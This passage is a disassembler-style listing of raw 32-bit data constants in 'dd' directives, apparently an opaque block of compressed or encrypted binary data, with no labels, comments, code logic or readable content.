		dd 5718470Dh, 987F81EBh, 80F6F0D3h, 50436900h, 6E1636Bh
		dd 0F71D0365h, 1632979Dh, 0B58FE7E8h, 19076D00h, 207B2FBDh
		dd 319AA094h, 313092D2h, 4BA1C65Ah, 706FD97Bh, 3C1241DCh
		dd 4840FD7Fh, 3938C44Fh, 4D700029h, 486E11DDh, 0AD073223h
		dd 0E6514AC6h, 80823DE0h, 6F503B75h, 4C098601h,	4061F82Ah
		dd 4F21DCFCh, 0DE15E803h, 0C0649ED7h, 0CEA4DBh,	0EA267D51h
		dd 0C526EC9h, 0DC2D0F0Fh, 0CC071CB9h, 0D210223Dh, 3B7E18h
		dd 438E1B3Fh, 0B6979035h, 14B42F1Ch, 6BAC7142h,	54F7E02Eh
		dd 6FB500D1h, 7F8BBA88h, 0C6F8D33Bh, 0A9AF9A03h, 4427F6h
		dd 0E0F79140h, 333A7E17h, 42525A00h, 7D4648C3h,	0FD580708h
		dd 60D238F1h, 77888E72h, 0A008FFCh, 79379F5Eh, 31D1787h
		dd 69FEDEF0h, 0CDB0E541h, 83FE3F65h, 0D4BE5C00h, 6A74E159h
		dd 0A9540035h, 0FFA188B4h, 1C00F1CEh, 9D4E4C93h, 2619FBh
		dd 580943ABh, 0ACAFC7F4h, 52F81304h, 0F4D0BD8Fh, 981C59h
		dd 42CA05B6h, 7A7C95C2h, 0CDC9F000h, 93670DD8h,	844924C7h
		dd 18DD07C2h, 0A3701113h, 4A1EE0C4h, 6A785900h,	0BF013EE8h
		dd 8ED0385Bh, 38C5DB00h, 5A57DCF7h, 0CD004BFEh,	0D5D8B8CFh
		dd 0E62D4AE4h, 1F3EEE17h, 87F5A091h, 1083F845h,	5C8C9B89h
		dd 1C5AA1C0h, 240EB773h, 588F0Dh, 0D16E5EC7h, 63EAD023h
		dd 69FCA678h, 0DEADA401h, 0ABAE2A64h, 3A192FF8h, 0FF849255h
		dd 80865FE3h, 39F26CF4h, 0AA056800h, 4F44B9C6h,	547D0025h
		dd 12551C23h, 0D4003DB3h, 2957E90Fh, 92692CA2h,	647F1F9Ch
		dd 0E5ED8585h, 775480B9h, 0AAE0C8CEh, 23E20200h, 26FAA0C5h
		dd 7B46301Bh, 3CB015D0h, 7704D500h, 5CC5F091h, 0E06007Ah
		dd 94F80945h, 7939C737h, 0D23062A5h, 6E14608Bh,	9E863F80h
		dd 0B61100F6h, 71774176h, 0FC718B47h, 0FD72B800h, 4C35C210h
		dd 1C3302D2h, 0A5D1C43Eh, 0A66237C0h, 0FAB5F50Fh, 34E3E0BDh
		dd 700216F9h, 235F1D68h, 8D6440FFh, 8151F8DDh, 0DC790E18h
		dd 62586Eh, 42B09322h, 92994135h, 19283300h, 0B8FFA701h
		dd 11DA393Eh, 71C5800Bh, 0FB56878Fh, 10041C03h,	0E71890DCh
		dd 0A9A50355h, 0AC91398Fh, 1E225C0h, 0CA2CF61Ch, 940BEC0h
		dd 0FE5BBh, 1197B70Ah, 0F0050BEEh, 80873Dh, 20C612DAh
		dd 4219398h, 8AA010B8h,	40A09057h, 9700C4D0h, 7F0578AFh
		dd 0EAD363h, 5C587DE9h,	0DED5D29Dh, 8B70B000h, 0D305623Ah
		dd 0F7E100F5h, 0EBD6A3Fh, 0C09F187h, 80F2FB77h,	1A6CF48h
		dd 6A2D008Fh, 3C472BD7h, 0FE004C20h, 0A4D1DAB1h, 6DE395h
		dd 7B9D87BDh, 1F336637h, 2A428F07h, 0F970462Eh,	2F5B48h
		dd 0C265976h, 0FC02F061h, 0AE011E70h, 13C80AF6h, 282024D7h
		dd 0BACD3C76h, 9EF95E0Ch, 6CF0C510h, 28351600h,	2B7DF27h
		dd 71A1C0EFh, 0D357D2F6h, 9C5D4A1Eh, 6A6E3401h,	1FF0E677h
		dd 0ACFF4D2Fh, 0D01F458h, 268F761Dh, 7521701Ch,	0A27029CEh
		dd 80E0B610h, 35306B2Ch, 0DF5F071Eh, 433F156Ah,	507F2148h
		dd 69DD000h, 3A68C1E8h,	0D743021Bh, 48DC35FCh, 7EF09643h
		dd 0D008C7Ah, 0F9A7EDDEh, 3DE575h, 0EA08B5Eh, 14FA0AA1h
		dd 0D9F07C00h, 0ACC03A4Dh, 20F41C65h, 7BE000ABh, 0E3CA197h
		dd 29DBF0Eh, 0B810E08Ah, 259C86CEh, 4C282BD6h, 95FE5804h
		dd 0B37B1A06h, 0FC20598h, 0FF9E1292h, 19833B81h, 1682E0D5h
		dd 6A18F305h, 0B381B1AEh, 8EE089B8h, 65950011h,	1699FC86h
		dd 93032A7Ah, 0B1D9E1Fh, 0D6690034h, 0BEA22F73h, 0FF194E82h
		dd 21085AB7h, 6B8121BFh, 0DF9462Fh, 4440DAFEh, 3E027175h
		dd 10FCD2B9h, 79F054h, 25E18621h, 3F2F148h, 416BA700h
		dd 0FCD1AAC6h, 1F8B7E36h, 62964A3h, 609A4E3Ah, 0AE1BBF00h
		dd 759C5FD9h, 4A6D0061h, 0F0E9FCD4h, 0B40C9AE4h, 20EF3A53h
		dd 208F052Ah, 383B1F6Fh, 4F467C20h, 0B4B09E15h,	65222C03h
		dd 11C8C29Dh, 0B20041B5h, 2640CC46h, 7075A6A0h,	23BC0C15h
		dd 7350D71Eh, 0A89E3215h, 0B85838C8h, 0F96F80E4h, 0A2191B2Dh
		dd 301AFA3Ch, 0E030ECBAh, 9CA83015h, 124D127h, 0BF063BA8h
		dd 19350Ah, 66D35664h, 69285009h, 1A7EE600h, 7410BC9Dh
		dd 9AD509BEh, 420EE92h,	9C95AE51h, 4B441C00h, 0EFC86CD2h
		dd 0F9A0071h, 0EA5D68D9h, 0A37FDD43h, 0F2188490h, 4AB1A99Eh
		dd 78031F42h, 80A00738h, 0BFAD103Ch, 260734D1h,	46E4CA98h
		dd 48F607F2h, 846198h, 3AFAFB16h, 0BA805A17h, 2AAEA81Ch
		dd 0C46BED2h, 1619B9Fh,	0D7ECFA3Ah, 209AA4BAh, 48C192Ch
		dd 0BEA62F77h, 2F2D6262h, 102F6FE7h, 989D9C50h,	0F616F73Ch
		dd 20DB600h, 0BE4AE8C6h, 14ACA0E2h, 66018F3h, 0A50AA9ECh
		dd 7573F40Ah, 0A915988Eh, 0F320109Ch, 0F4AFB001h, 0E0299208h
		dd 0F949761Ch, 8D790010h, 0A8FCD690h, 396A00A5h, 69B1633h
		dd 87009A1Fh, 0BD8C14Ah, 621C8Bh, 7066D191h, 0ADABCDFBh
		dd 33073402h, 607DE279h, 0A71468h, 0CDCBC292h, 565C2F4Ah
		dd 8400337Eh, 127EE4F8h, 14424F89h, 9C9192F2h, 6E176580h
		dd 0D515FFACh, 88260Ah,	6210E82Eh, 0B6219Ch, 0BAEAE009h
		dd 0C50C166Dh, 748AD501h, 7E816BE4h, 1CE4CEEDh,	3E560083h
		dd 67772D20h, 893909C3h, 0A42A1729h, 0BF713E18h, 6C3300E4h
		dd 32DEE727h, 0D974AF20h, 6221AE60h, 0B8BB341Fh, 3EE8F46Dh
		dd 672B15EDh, 0F4A601B8h, 18B67576h, 0ADE9885Dh, 6ADAF400h
		dd 9C4A89Ch, 884F159Dh,	0ED00E884h, 911BBE52h, 66895D51h
		dd 0F4389B18h, 11BEA375h, 0A2EA0026h, 1D7F1CF4h, 534504FAh
		dd 800EE94Ch, 0B6D84E9Ch, 16BCA413h, 404DA6A8h,	0D608B20Ah
		dd 6B2204C8h, 9914C3DAh, 883B813Dh, 2ED024Eh, 3A15D512h
		dd 0E4C3C4A1h, 2FDBC8F1h, 5BEA2E00h, 5FB5BFE6h,	0A12A2B88h
		dd 33E500ACh, 0DF1F276Fh, 1C618085h, 66C25134h,	80142B4Dh
		dd 71298BABh, 2AE1C092h, 0E5E16CD3h, 0BA657509h, 8B28DEFh
		dd 0B1211DEBh, 0A8AB8067h, 52657133h, 9E2DD400h, 9B51110Dh
		dd 1F5FD6h, 0B2044BECh,	9C60BAF6h, 0F81C6F89h, 0E27800C7h
		dd 4E9AB69Dh, 0D83EAF4Ch, 4CB0243Ch, 0CB505540h, 48C704A4h
		dd 0C1AE4249h, 0E46A4FF0h, 2A1C3D41h, 478155DEh, 12B271F1h
		dd 0A0B081FEh, 1981A9BDh, 2A879907h, 0E99458ADh, 274B3304h
		dd 0AB32DEFFh, 33E05D20h, 5C072ACCh, 0D780088h,	136B436Ah
		dd 0CA073877h, 4C9CAF55h, 0D97C4710h, 2685069Bh, 78C6816Eh
		dd 1FBA6B01h, 243355F6h, 0B022BDF0h, 29883B44h,	4902B4D6h
		dd 0D75E8E1h, 60C03B1Ch, 66885900h, 0DE1C3AD4h,	20C40AB5h
		dd 5EC9BE00h, 2E7E109Ch, 5092A96h, 15947B2h, 35A62884h
		dd 0D5788324h, 42BE7BBh, 4D6EDD18h, 0BCA30023h,	90F0AA53h
		dd 0CC120104h, 0F83428D5h, 0D899FABEh, 0EB64CC48h, 0CFD88407h
		dd 76B0A5E1h, 0D2FE6Dh,	0C7E04F43h, 0B6A34529h,	0B2120800h
		dd 7E9BDCBh, 5B4B1542h,	61E8456h, 38A56204h, 280B1CEh
		dd 0CB2C3C92h, 90A863B0h
		dd 7A0086C0h, 9CEBEA65h, 30B6C46Dh, 1C39E393h, 0EAFF8B8Dh
		dd 0CD9CFCE0h, 6FF3501Ch, 0C383F600h, 0B2FE9F0h, 0A62E4A3Ah
		dd 7F6E0C80h, 0E3196C10h, 72A89B14h, 0E11D6D18h, 112375E4h
		dd 64B414DBh, 6D38038Fh, 98B1FDBFh, 34697776h, 160A066h
		dd 0A279728Bh, 1C6820C3h, 54B39E72h, 992F7801h,	0FA196ABEh
		dd 2F707420h, 854A0007h, 11CE79D6h, 4003F118h, 467A30A0h
		dd 656826ACh, 80A31110h, 276133E3h, 22D943AFh, 1A5F01ADh
		dd 3E958534h, 5C6D0Bh, 42633171h, 39215Bh, 0DC6B0E5Fh
		dd 1CA75011h, 0DFAB9D0Eh, 9991C697h, 2F520049h,	106DEEDBh
		dd 73FC8C45h, 0F2E8A09Ah, 0E27758F4h, 6ED9BF64h, 0B78464CEh
		dd 0CE2D302Bh, 0B64F0EF4h, 848FFB7Eh, 0D6056E02h, 0BF9DC040h
		dd 891CEA4Dh, 0D168109Fh, 0B0453CD9h, 0CE767F80h, 6BC334AAh
		dd 24499826h, 0AE5C84C9h, 6ED8E263h, 0A0ACB727h, 160AC44h
		dd 0F5B3341Dh, 228F4FF8h, 1702320h, 75E2E16Fh, 87F8237Dh
		dd 9A6166BEh, 0CECC46C4h, 12109B7h, 0D402543Ch,	7100FF32h
		dd 49A96679h, 1A2320D1h, 9B2F7601h, 0EA195ABEh,	0C36EEE2Fh
		dd 0B88EEFAAh, 0F4C7601Bh, 0A989A71h, 214FB23Ch, 3A5E1680h
		dd 5D238Ch, 0E48AE23Ch,	91009986h, 97ABA14Fh, 1EF2027h
		dd 7D90E0DEh, 59ECBCB5h, 21C8BFD0h, 2F74810Ah, 188ABEA5h
		dd 6C70882Ch, 24D02F00h, 0AFB68459h, 0A8765CE9h, 44C08ECAh
		dd 0E16B606Ch, 1D7523E6h, 1C7AEC11h, 40FFE162h,	2B87A552h
		dd 0CAA223BCh, 0C61ABC10h, 89BFB0C9h, 0BCA0AAA7h, 3F4B71C0h
		dd 2E09EC8Bh, 17046225h, 709000AAh, 82D3C47h, 0D3A8F054h
		dd 9C1A5000h, 56B9C07Bh, 288315F9h, 88928CB4h, 0A23FA018h
		dd 20A01BCh, 0C3A67597h, 1D0CA20h, 0F8E4B2E8h, 2D91901Ch
		dd 5E750010h, 825DCE8Eh, 0D287008Ah, 541322CCh,	6F14175Ch
		dd 0C9987978h, 0C4C4651Ch, 32C3602Dh, 7711FE4Bh, 112737Eh
		dd 0D73785C8h, 8B6DA5D0h, 24082AE9h, 0E860B0C4h, 27254833h
		dd 4C0416C7h, 7C1F585Eh, 0D80A42F8h, 70C0614Dh,	89815357h
		dd 0B9F17032h, 0F8A60C2Bh, 47530960h, 7838D624h, 6674FB88h
		dd 288AE602h, 404A2342h, 81F35D80h, 5EB14078h, 9A387BC2h
		dd 0A48780CBh, 1B1928Eh, 50D60C0Dh, 9F711AD8h, 0B698E400h
		dd 88914FCAh, 0F82809EAh, 7C140E41h, 46565494h,	63C0221h
		dd 667227CCh, 847D1258h, 3A7C538Bh, 0DB23B0h, 7F5DABD0h
		dd 0AE0E6FB7h, 896974E9h, 4782BCAh, 7880F138h, 64324A53h
		dd 0A0E918CBh, 48C64D0h, 7577F499h, 0C0A0A2AEh,	12F4A3ACh
		dd 0FD3A3B09h, 42E3F91Dh, 8747F8CAh, 0C741A4E0h, 482D1581h
		dd 791D8500h, 0E7A57E23h, 9BBF3Ch, 3A02D25Ch, 1285CFC8h
		dd 0CB1A767Bh, 0C02CC8FCh, 0E5B3D1DBh, 3902F807h, 74509ABh
		dd 0CE70FC27h, 341FB65h, 6462F4DCh, 5803C45h, 0D31B8D14h
		dd 0F2E04401h, 0FA004332h, 146509F0h, 6F6022E4h, 0A6E0BF55h
		dd 264A510Ah, 9025B4B6h, 0F2F65A74h, 95AB24B3h,	2E66C560h
		dd 262338h, 7C9556D2h, 4405191Bh, 9CCB58CAh, 0E3BBE4C0h
		dd 9A290210h, 4A4BBE9Dh, 12007C78h, 0E8585C11h,	3BB357Dh
		dd 74F2328Dh, 40AD7EFBh, 0D41D4CACh, 15051E30h,	47D949BEh
		dd 306DFCD2h, 0E911E148h, 0D8880575h, 0E163BD80h, 0B1DA65h
		dd 428924Ch, 26D98629h,	0FC60484Ah, 138A4020h, 155A816h
		dd 79DEC638h, 737880DFh, 4174B9E9h, 0A1F4BA02h,	0A028C268h
		dd 0B249147Fh, 0BD3EB4C1h, 27C0861Fh, 2311F41Dh, 0AA503D80h
		dd 26005B79h, 87A489E1h, 9133BC37h, 481000A0h, 8BAC0785h
		dd 465C0896h, 1CE900DAh, 6407880h, 0C0B948BCh, 0C4266323h
		dd 96757205h, 29215422h, 0D9B800D5h, 866702h, 8D92E420h
		dd 2C6BCA16h, 0A5762A0Ah, 1030B034h, 9B71F59h, 1B3F5D9Ch
		dd 7633C480h, 3A4217AAh, 0ABB8EC48h, 5528018Ch,	0B4E5D53Ch
		dd 18A06631h, 61C9F907h, 587003F1h, 0BEEC55FBh,	0DE690D80h
		dd 10B8C725h, 0C664838h, 0F1074024h, 6A009C39h,	6271F781h
		dd 5E1F7E19h, 0F3040016h, 7F03BAEEh, 6857B800h,	7DC041ECh
		dd 0CE370707h, 10BCFC0Ah, 1FD8A4D9h, 0C90AE499h, 159FC46Bh
		dd 0E08C0EA5h, 5C2DEA83h, 50E00099h, 0E576311Fh, 7E4D1D0h
		dd 6CCBC5Ch, 5F22D8A1h,	0F4922A49h, 947B12E4h, 434BE0D7h
		dd 52B06F07h, 645019E2h, 3CDFB75h, 715627A8h, 0AAEF78CAh
		dd 39DB1140h, 4BC00776h, 98201C06h, 18C958DDh, 309E8026h
		dd 0F909C3A2h, 1A163355h, 0E7A061C0h, 53A5C82Ch, 28012F8h
		dd 3376F8E8h, 53BF98A0h, 80B9ECF6h, 0EAA14341h,	0EEBC7028h
		dd 6BC3068Ch, 885F934Ah, 0B524DEF6h, 29923832h,	0B910283Ah
		dd 0E0EAC02Bh, 1C7DE447h, 9F9FB6EBh, 0DE17C105h, 80D2924Bh
		dd 0BFF273C0h, 62C3CA33h, 0A8DAD15Eh, 1C3F3C40h, 29F60230h
		dd 9AC8CE49h, 299E20BCh, 41862817h, 0DA0A2882h,	0A0E11CACh
		dd 0C28440FAh, 1BBA9846h, 5D54F716h, 0D6429402h, 0A56601BFh
		dd 53E42270h, 0EF630048h, 4DAFC291h, 22C002C1h,	541AD68Bh
		dd 0C8252E0h, 75D43B13h, 1DAAB400h, 995B6FCh, 122AE87Bh
		dd 72390860h, 68BC2630h, 5A5D33BBh, 2F6C1255h, 0E25230Ch
		dd 2F80A7F1h, 1BC7AFC9h, 4A6CF8F5h, 0D8298728h,	0E6756F00h
		dd 316DA7D2h, 42C90D5h,	1BEFBC62h, 0E4508816h, 8700AD72h
		dd 0FE81C6DAh, 97EB9D5h, 0DBF8A6F5h, 0EC111C1Dh, 9DC31D9Fh
		dd 3519CA28h, 0A20702C4h, 80E85DBFh, 33FD2277h,	8C1426ECh
		dd 578F04DCh, 8024A727h, 6233BE8Ah, 6550CD69h, 2C9527B0h
		dd 602BB788h, 0F5980762h, 827EDC03h, 807AB474h,	1780244Ah
		dd 0C0224177h, 7C4DD950h, 8D518A00h, 54133ABBh,	94AC3h
		dd 0E5843028h, 0A8B1895Ah, 1060AC7Bh, 0A7004602h, 0CDAB9D1Fh
		dd 609EA5D7h, 0A869C9A2h, 0AA000267h, 397A2190h, 0EDC1DE86h
		dd 1BC85C29h, 9C2F79C0h, 227246BEh, 71750220h, 91A8AE2Fh
		dd 0E8B07CF1h, 99079Bh,	0FD05D457h, 1E7972B9h, 70489C4Eh
		dd 2F75C01Fh, 9246BEA8h, 710B2222h, 82262F6Dh, 59E27258h
		dd 321F40D0h, 40176BCCh, 84D10B3Eh, 5DFCABA6h, 0D8074C09h
		dd 62D67980h, 0DF00C2CCh, 671DF892h, 2FA1C989h,	90102146h
		dd 160A3D75h, 0B4E0956Eh, 70014183h, 0D98E90D7h, 9DBB007Ah
		dd 0AD7C22B5h, 49126959h, 104B2883h, 8D5C1008h,	1DB70B9Dh
		dd 2000742Bh, 48704610h, 0C448725Fh, 185580F9h,	13433E20h
		dd 0A49B290Bh, 198C8261h, 20F464D0h, 165D5CDFh,	88CAD2C0h
		dd 6FE0DAC8h, 960960DDh, 32206038h, 0AD2E4D7Fh,	2602B84Eh
		dd 85FBA986h, 4084DB40h, 0ADA2A4E3h, 2C749630h,	40B80AC5h
		dd 0CD103191h, 5E870F00h, 95C0A879h, 335B0090h,	4BD449B7h
		dd 0F8A1F53Eh, 0C88C28E7h, 20152F72h, 0C4802291h, 16A8635Fh
		dd 21001371h, 0B45D24Bh, 92945A79h, 708308C4h, 46743B23h
		dd 6A2602ECh, 71A9A5B3h, 98102D94h, 5525BED0h, 40743A37h
		dd 0BCD96587h, 60AA6470h, 106A33E6h, 0B0DF1727h, 933E15Ch
		dd 7D6E2747h, 0FC9CB461h, 9CAC71EFh, 306502FFh,	7811F49Ch
		dd 5E88A675h, 0B009AB93h, 9F60F8Eh, 9960E1B0h, 1C9D7980h
		dd 4450A6FFh, 0AF91A213h, 7D698C40h, 0C843Dh, 0D0751489h
		dd 2A2EE534h, 59881000h, 0BAF7EFCEh, 7949C69Eh,	84057977h
		dd 0ED6FA6B3h, 0E3711CC3h, 0F5BC2Bh, 61C023DFh,	7405F024h
		dd 60228675h, 0AEAF2024h
		dd 0F9003AF4h, 2FD7818Ah, 9B16BC7Bh, 2910057Ch,	5A14B79Ch
		dd 6A00606Ah, 97C55BCCh, 754CFB6Bh, 88409270h, 480FBCA5h
		dd 6B1F5A22h, 0A8FE008Ch, 0C864ADCEh, 79F82E54h, 53DD40E8h
		dd 5E44C9FAh, 0E833EDEAh, 133022E2h, 0BE532EBCh, 4888819Ch
		dd 26CB035Ch, 0FB620624h, 9393E7Eh, 7CF81216h, 1701B4FAh
		dd 0B83C0E86h, 70329339h, 2EF11300h, 1F4B8965h,	7ADF3F02h
		dd 0DBDAC8E9h, 40C07014h, 86D5B302h, 984B67F5h,	490716E8h
		dd 300010F2h, 43200EF1h, 0D0EBB68Eh, 62093E3Bh,	8217F65Ch
		dd 453A11B0h, 5E582EC8h, 9F40BA46h, 0BEBC04E5h,	0AC49A7B3h
		dd 0B82E5A74h, 0B5092523h, 6E05807Dh, 12A0FB4h,	4F47FD72h
		dd 70A3CB32h, 0D64BDA88h, 5DC85C8Eh, 0A2B05FC7h, 40CA33DEh
		dd 80A0E4EAh, 0DD82D8A0h, 0F0CD7661h, 191F6327h, 0EE4A8B7Ch
		dd 465C682Dh, 0AD4B0020h, 2FFB616h, 0C8893943h,	870BF4DCh
		dd 0FC4D55EEh, 5C87ECE0h, 0F2EF5D2h, 0F7ECA24Eh, 8D011F50h
		dd 72F6BDE3h, 78685E61h, 411BBB09h, 717CD058h, 0C400824Fh
		dd 34777E66h, 0EF271716h, 0C8E0CBDEh, 2660CE2Dh, 0AAE36A30h
		dd 9240F101h, 0B586288Eh, 1904607Dh, 90EA957Eh,	2C5C5D88h
		dd 71D50200h, 0BC9C922Dh, 75CA3B18h, 25AABB8Fh,	0ED81DF4Eh
		dd 780A2AE9h, 17142D58h, 9D5D11CCh, 0A26B81C2h,	12F85063h
		dd 0B1316E28h, 0BC887C24h, 0FA1F8CDAh, 1701F511h, 5A83B240h
		dd 0E0A65895h, 8820072Fh, 7F806003h, 85DCE500h,	166ACD57h
		dd 0E8488Bh, 8468E32Eh,	80A4E113h, 5EC3AA6Ch, 60256487h
		dd 0E7EBB9Ch, 374AB81h,	8E815C2Bh, 20F29B4Ah, 90952A0Ch
		dd 2AAA71E8h, 48886B4Dh, 530910ACh, 0E478E9EAh,	0DEA6490Fh
		dd 0D14F84D7h, 0CF123C90h, 56C4330Bh, 32D89F11h, 2C3CA105h
		dd 542A24DBh, 22A83A14h, 0B69C12F2h, 718822E1h,	72AEB4C0h
		dd 0BE3AA80h, 3E6C013Ah, 0E9FD2E84h, 124713D0h,	2CF2A4B2h
		dd 2EB1B430h, 63BF261h,	89FC9564h, 960333Eh, 8B0366B5h
		dd 59EF097Ch, 18ECD960h, 793D0067h, 3B0F6D7Ch, 9CCA40h
		dd 9C201DCh, 0B986D088h, 4A710032h, 24D6400Ch, 0F69B760Fh
		dd 0C23A8041h, 135B5149h, 0B0FE1BC4h, 380053C8h, 0CDED06F6h
		dd 33EF30h, 0B199F074h,	0BE228388h, 4278E718h, 4096BA58h
		dd 3800CA69h, 7B9A9E74h, 1F7BC5Eh, 0CEFE4FF8h, 78D8B1BEh
		dd 9E091054h, 80E89B4Ah, 4C7ABCFEh, 0B022172Eh,	0AE77091Ch
		dd 0F471C2Fh, 0C91A7066h, 0BC01569Ch, 7A77C0B4h, 583043A4h
		dd 0D89D137Eh, 41D4E426h, 44856B98h, 18602264h,	7E0CDEBCh
		dd 51A5B1F7h, 0D0F54808h, 1D825380h, 0A10747FBh, 0B5FFDC3Ah
		dd 7CE426A2h, 3E8A0188h, 3ECD8622h, 0B702BC41h,	5884A41Bh
		dd 0E9354583h, 0ECA71288h, 0E7A690F0h, 636049F5h, 0E27805E4h
		dd 0A0CF4A73h, 0FE059F10h, 827166EFh, 469E2038h, 0CB063C46h
		dd 75852840h, 1CF5F809h, 806EAEFEh, 0DFF60463h,	0D90037F9h
		dd 9327412h, 727777Ch, 9E2C2913h, 0C36A4069h, 5264D34Ah
		dd 0E4FD0A88h, 8C452A0Eh, 1F9C7942h, 0D6C056h, 0D15749DEh
		dd 6BA5C77Dh, 9D008491h, 797619BCh, 0D19B25C2h,	514F8C67h
		dd 5DDC3C80h, 0D003BF4h, 0D8A11B2Eh, 99AE5CFh, 627D2919h
		dd 2011101Dh, 0E96C9983h, 0BB3241B0h, 3F0B88B0h, 10F04E54h
		dd 241F1038h, 3AADD99h,	15A9F82Ah, 0E04CD07Dh, 0E4007890h
		dd 2106D609h, 4ED9F96Bh, 73804124h, 81A1AE41h, 402910F8h
		dd 8781962h, 0BE00D58Bh, 0A595373Bh, 0E3287100h, 0D64C5120h
		dd 595505A6h, 0A85D069Fh, 20214E08h, 3432F192h,	0C1212000h
		dd 7DFE37EFh, 7002F8E0h, 1C3E7A72h, 4C207056h, 160950E8h
		dd 760955DEh, 0EC917C9Dh, 0AC790D84h, 10204C25h, 2000A3F4h
		dd 3E12D891h, 0E4010826h, 0E9F8777Bh, 0B07CF61Ah, 1FBC6E4Ah
		dd 31D992F9h, 0B0290B80h, 961F6B01h, 4B41F422h,	0C0E5C864h
		dd 0D288FB07h, 9E038016h, 0ABDFDC20h, 0EC0C00E9h, 9806CF9Dh
		dd 1A2841A9h, 0E64EBCAEh, 1CD9F8C0h, 0F0FE545Ah, 0C70A2F61h
		dd 253B481h, 88F083EEh,	0D8BC89B3h, 0B69D947Dh,	63AA07B8h
		dd 7186D6F7h, 416C131Ch, 0CBC2424h, 0E9CE6EA6h,	5C6C9E89h
		dd 75DB46h, 0BBF4F2D7h,	0ED90C317h, 40A66124h, 9211BD83h
		dd 9D6100A3h, 3FBB09ABh, 2C128DB2h, 40903357h, 27723D7Fh
		dd 1023C6DEh, 0CA8A9E2Dh, 6BA6E068h, 760FACB1h,	80F8494Ah
		dd 8F6EDE5Ch, 44CCA2F7h, 5E249C2Ch, 0C002EE46h,	7614A9F7h
		dd 0E847B0A9h, 0F880516Fh, 0B948C965h, 8628F609h, 3B14F015h
		dd 4904D47Dh, 0E287E807h, 30B4E278h, 0C7005033h, 93E86D49h
		dd 0E3F8941Fh, 9C907C38h, 0BD9C4300h, 8A6972F9h, 8000209Eh
		dd 0B2F7EFE0h, 8951C927h, 0B7C278E5h, 3834182Bh, 0ADDC917h
		dd 0E24D6809h, 9E2CE67Ch, 0B3215E54h, 0FFC3802Bh, 2E3F7B48h
		dd 31E3FD17h, 6151570Ch, 0E4915862h, 3819C880h,	4F00EA39h
		dd 0C9CC6417h, 3D3AD2h,	90201C49h, 0EBCA11Ah, 19CDF816h
		dd 6FF4A0h, 4B9AE476h, 0BF568B6Eh, 634F060Fh, 0D1F624BCh
		dd 1A91A081h, 270BA451h, 0A3C2A850h, 335100FBh,	2601F0D2h
		dd 630741AAh, 6D6A363Fh, 0B8B82E84h, 0F2BA7302h, 80F735A9h
		dd 0A3FBFC4Ch, 691F0013h, 8E75BFC0h, 0A09F918Dh, 308CDE0h
		dd 6717D23h, 0E4BD45Dh,	0E70188E3h, 0CBF640F7h,	0D8103D0Ah
		dd 4F0F9358h, 109D445h,	1DBF6FE6h, 0C264236Eh, 63E5B190h
		dd 0E4786A00h, 6EB4B24Ah, 516D12A7h, 4F88C2DAh,	0E2894085h
		dd 30B4E2BCh, 8400F4BEh, 0AB442A12h, 4C9A14FAh,	0B5265871h
		dd 0ECE18248h, 0E4488649h, 0EF0905F7h, 60CF42CBh, 0B437D08h
		dd 1E53BC10h, 1BA82CC3h, 0C6354BBEh, 48210D4h, 70AA273Ch
		dd 91B2B51Ch, 0C363CD00h, 67A2A854h, 8011B56Eh,	0D7ED0F7h
		dd 74619917h, 4588ACC2h, 83F1EE44h, 25572F3Ch, 0A8A00682h
		dd 0AE75CEC8h, 1605C094h, 2CAD0AE9h, 41463B1Dh,	87A371B9h
		dd 9353C0A7h, 0C7D46202h, 4336F986h, 4AE8E0FCh,	0C3F0AB16h
		dd 90D0F471h, 92DE2AE9h, 95870140h, 42C46E78h, 9C6E3E29h
		dd 6D78AE00h, 0A4B26B3Fh, 8D93B916h, 20C8DCCBh,	0B0BB51C0h
		dd 61A1609Eh, 8B97145Ah, 0AAE2600h, 0DB713D65h,	9FFA71D8h
		dd 83071037h, 86713211h, 94412F95h, 0E47016C6h,	11C491EEh
		dd 80B83825h, 0BCC0AD61h, 92A43Ah, 97ABC6F8h, 4E566F89h
		dd 0E35C3B7Ch, 0CF61009Ch, 38CA75B7h, 16881849h, 0C97D18E5h
		dd 0FB7FA005h, 0F8B2E14Ch, 0C2BB8F1h, 0D3E500E6h, 106EC361h
		dd 0C61E8E6Ch, 0B0A4D9BEh, 10D53816h, 23C838CBh, 26F79DC0h
		dd 30512586h, 0A8F4E460h, 0C2A5BD18h, 913D60h, 0FE48899h
		dd 809FAE73h, 102FFF5Ah, 0B2005F23h, 7BEDF1F7h,	4B9E0A8Bh
		dd 11E463C9h, 0E16E816Fh, 31C675E3h, 19B310E9h,	6B4516E1h
		dd 0C02C27D8h, 58537A9h, 61C61D0Ah, 215EB488h, 5E822AAEh
		dd 40FC168Ch, 35248708h, 0B21BBCh, 0E1CBC994h, 0F25B72A4h
		dd 71890CC2h, 19D87184h, 94D0C7C9h, 0F7D516D1h,	0C9FC0AC6h
		dd 0E44512B4h, 1D50D94Ch, 3D486B6Ch, 43B9ECCCh,	0F18E132Bh
		dd 31A65F00h, 17EEBC0Dh, 405270A4h, 7B846C8Ch, 13792576h
		dd 0F60C4202h, 0F27EF799h, 0D144B1D8h, 0E23D182Ch, 68FC03A3h
		dd 451137C0h, 6947A098h, 130CFA5Dh, 78881FD9h, 53D41E9Bh
		dd 92CC263Ah, 0DE70CB34h, 0D73700A3h, 0CC2E6E47h, 0C38B7C01h
		dd 0EB3FD28Eh, 99F7689Eh
		dd 60BDD9D6h, 9181D57Ch, 30721BEh, 0F0C95770h, 24023B46h
		dd 1081972Dh, 0DEB5F8E4h, 6BA43B41h, 16281294h,	16FC6E60h
		dd 0ACF2F7E5h, 1175A009h, 0F009D4E0h, 3CDE1A24h, 41278785h
		dd 2CA2E1C4h, 353020E2h, 2F38B886h, 0A89715DEh,	0E8802511h
		dd 9167627Ah, 532F20Eh,	0DE930047h, 0C1DC6653h,	5261EBA0h
		dd 172C609Fh, 91861F12h, 922270A0h, 0B3F81868h,	8B7DE977h
		dd 151C050Ah, 9727146Eh, 83DA9128h, 0E0F13EF5h,	61BDF7D3h
		dd 71A6619Dh, 62980FDh,	4A857C09h, 6B1E01F2h, 27078D49h
		dd 80D03C9Eh, 52355DDCh, 29542EDEh, 0C1A300C5h,	0F4939CF6h
		dd 483CA009h, 0BF8C6849h, 85BE4E2Bh, 0A26804A8h, 5A2144C3h
		dd 81F69146h, 1596A61Eh, 11D54680h, 72EF6013h, 41623EC8h
		dd 27CEE080h, 469D9120h, 760B930Eh, 0EBEB89AAh,	41FFD88Ch
		dd 841539F1h, 0BE074802h, 0DCC8D623h, 0FC9968F7h, 6CEDB700h
		dd 0CA50E3Fh, 0ABD661F1h, 550510B0h, 0DFBC6A87h, 0C1E050F6h
